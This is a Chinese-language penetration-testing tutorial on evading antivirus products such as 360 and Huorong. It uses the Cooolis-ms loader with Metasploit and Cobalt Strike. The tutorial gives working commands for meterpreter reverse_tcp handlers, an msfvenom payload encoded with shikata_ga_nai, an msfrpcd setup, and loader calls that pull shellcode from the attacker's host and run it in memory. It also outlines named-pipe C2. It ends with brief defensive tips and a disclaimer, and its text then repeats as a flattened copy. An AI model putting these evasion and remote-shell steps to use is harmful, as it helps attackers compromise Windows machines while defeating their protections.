渗透测试之地基免杀篇:C2、RPC、加载内存三种方式全免杀
字数 1518 2025-08-15 21:33:46

渗透测试之地基免杀篇:C2、RPC、内存加载技术详解

一、前言

在内网渗透的后渗透阶段,免杀技术至关重要。本文介绍三种静态免杀方法和思路:

  1. 创建MSF-RPC服务端使用VirtualAlloc Windows API申请内存空间执行shellcode
  2. ExternalC2创建命名通道直接连接服务端免杀
  3. 内存加载分离上线C语言shellcode

二、环境准备

攻击环境

  • 攻击者:Kali Linux 2020.4 (192.168.253.8)
  • 目标系统:Windows 10 (192.168.253.17)
  • 目标防护:360、360杀毒、火绒、deferencer杀软

工具准备

下载Cooolis-ms工具:

https://github.com/Rvn0xsy/Cooolis-ms/releases/tag/refs%2Fheads%2Fmaster

三、免杀技术详解

1. MSF Docker免杀

部署步骤

  1. 克隆并构建Docker环境:
proxychains git clone https://github.com/Rvn0xsy/Cooolis-ms.git
cd Cooolis-ms
docker-compose up -d
  1. 开启MSF监听:
msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.253.8; set lport 8876; exploit -j;"
  1. 生成并执行payload:
Cooolis-ms.exe metasploit -p windows/x64/meterpreter/reverse_tcp -o LHOST=192.168.253.8,LPORT=8876,Format=dll -H 192.168.253.8 -P 8899

技术原理

  1. 客户端执行Cooolis.exe向8899端口的docker服务端请求shellcode
  2. docker server接收请求后调用API Method,登录到MSF监听端
  3. 监听端生成shellcode回传到客户端
  4. 使用dll内存加载技术:通过API获取shellcode,动态分配内存执行

2. MSF RPC免杀

部署步骤

  1. 安装依赖:
pip3 install -r requirements.txt
  1. 开启msfrpc服务:
msfrpcd -U msf -P msf -u /api/1.0/
  1. 启动本地服务:
python3 server.py -U msf -P msf -H 127.0.0.1 -p 55553 -s -v -l 6666 -S 192.168.253.8
  1. 目标机器执行:
Cooolis-ms.exe metasploit -p windows/x64/meterpreter/reverse_tcp -o LHOST=192.168.253.8,LPORT=5555,Format=dll -H 192.168.253.8 -P 6666
  1. 开启MSF监听:
msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.253.8; set lport 5555; set Format dll; exploit -j;"

3. ExternalC2免杀

部署步骤

  1. 在Cobalt Strike中创建External C2监听器
  2. 目标机器执行:
Cooolis-ms.exe cobaltstrike -H 192.168.1.10 -P 3322

技术原理

  1. 创建命名管道进行C2通信
  2. 数据流:
    • 发送命令:CS服务端 → 第三方服务端 → 第三方客户端 → SMB beacon
    • 返回结果:SMB beacon → 第三方服务端 → 第三方客户端 → CS服务端

4. C内存加载免杀

MSF-C免杀

  1. 生成shellcode:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.253.8 lport=8876 -f c
  1. 将shellcode保存为txt文件
  2. 执行加载:
Cooolis-ms.exe shellcode -f 2.txt

CS-C免杀

  1. 在Cobalt Strike生成C语言payload
  2. 提取shellcode到txt文件
  3. 执行加载:
Cooolis-ms.exe shellcode -f 1.txt

技术原理

  1. 使用VirtualAlloc申请内存空间
  2. 将shellcode写入内存
  3. 创建线程执行内存中的shellcode

四、源码分析

1. ExternalC2.cpp

  • 创建命名管道
  • 将客户端交互信息复制到命名管道中
  • 基于Cobalt Strike官方源码修改

2. Http.cpp

  • HTTP流量交互处理
  • 内存空间加载和调用
  • 反复通过内存空间调用实现免杀

3. msf.cpp

  • PE文件处理
  • 内存操作
  • 与MSF平台交互

4. Reflective.cpp

  • DLL内存加载过程
  • 多次循环确保加载成功
  • 处理内存中的数组、指针等数据结构

5. shellcode.cpp

  • VirtualAlloc内存申请
  • shellcode加载执行
  • 线程创建和控制

6. MemoryModule.cpp

  • 内存块提交
  • DLL数据复制
  • 内存区域大小确认
  • 内存释放

7. source.cpp

  • 主程序入口
  • 核心功能调用
  • 关联所有功能模块

五、技术总结

  1. VirtualAlloc内存加载:将shellcode加载到内存中执行,避免文件落地
  2. RPC分离:将payload生成和执行分离,降低检测概率
  3. 命名管道通信:绕过传统C2通道检测
  4. 源码定制:通过修改和优化源码实现更高程度的免杀

六、防御建议

  1. 监控异常内存分配行为
  2. 检测命名管道创建和通信
  3. 分析RPC服务异常调用
  4. 加强进程行为监控
  5. 实施网络流量深度检测

七、法律声明

本文所述技术仅用于安全研究和教育目的。未经授权对他人系统进行渗透测试是违法行为,后果自负。

渗透测试之地基免杀篇:C2、RPC、内存加载技术详解 一、前言 在内网渗透的后渗透阶段,免杀技术至关重要。本文介绍三种静态免杀方法和思路: 创建MSF-RPC服务端使用VirtualAlloc Windows API申请内存空间执行shellcode ExternalC2创建命名通道直接连接服务端免杀 内存加载分离上线C语言shellcode 二、环境准备 攻击环境 攻击者:Kali Linux 2020.4 (192.168.253.8) 目标系统:Windows 10 (192.168.253.17) 目标防护:360、360杀毒、火绒、deferencer杀软 工具准备 下载Cooolis-ms工具: 三、免杀技术详解 1. MSF Docker免杀 部署步骤 克隆并构建Docker环境: 开启MSF监听: 生成并执行payload: 技术原理 客户端执行Cooolis.exe向8899端口的docker服务端请求shellcode docker server接收请求后调用API Method,登录到MSF监听端 监听端生成shellcode回传到客户端 使用dll内存加载技术:通过API获取shellcode,动态分配内存执行 2. MSF RPC免杀 部署步骤 安装依赖: 开启msfrpc服务: 启动本地服务: 目标机器执行: 开启MSF监听: 3. ExternalC2免杀 部署步骤 在Cobalt Strike中创建External C2监听器 目标机器执行: 技术原理 创建命名管道进行C2通信 数据流: 发送命令:CS服务端 → 第三方服务端 → 第三方客户端 → SMB beacon 返回结果:SMB beacon → 第三方服务端 → 第三方客户端 → CS服务端 4. C内存加载免杀 MSF-C免杀 生成shellcode: 将shellcode保存为txt文件 执行加载: CS-C免杀 在Cobalt Strike生成C语言payload 提取shellcode到txt文件 执行加载: 技术原理 使用VirtualAlloc申请内存空间 将shellcode写入内存 创建线程执行内存中的shellcode 四、源码分析 1. ExternalC2.cpp 创建命名管道 将客户端交互信息复制到命名管道中 基于Cobalt Strike官方源码修改 2. Http.cpp HTTP流量交互处理 内存空间加载和调用 反复通过内存空间调用实现免杀 3. msf.cpp PE文件处理 内存操作 与MSF平台交互 4. Reflective.cpp DLL内存加载过程 多次循环确保加载成功 处理内存中的数组、指针等数据结构 5. shellcode.cpp VirtualAlloc内存申请 shellcode加载执行 线程创建和控制 6. MemoryModule.cpp 内存块提交 DLL数据复制 内存区域大小确认 内存释放 7. source.cpp 主程序入口 核心功能调用 关联所有功能模块 五、技术总结 VirtualAlloc内存加载 :将shellcode加载到内存中执行,避免文件落地 RPC分离 :将payload生成和执行分离,降低检测概率 命名管道通信 :绕过传统C2通道检测 源码定制 :通过修改和优化源码实现更高程度的免杀 六、防御建议 监控异常内存分配行为 检测命名管道创建和通信 分析RPC服务异常调用 加强进程行为监控 实施网络流量深度检测 七、法律声明 本文所述技术仅用于安全研究和教育目的。未经授权对他人系统进行渗透测试是违法行为,后果自负。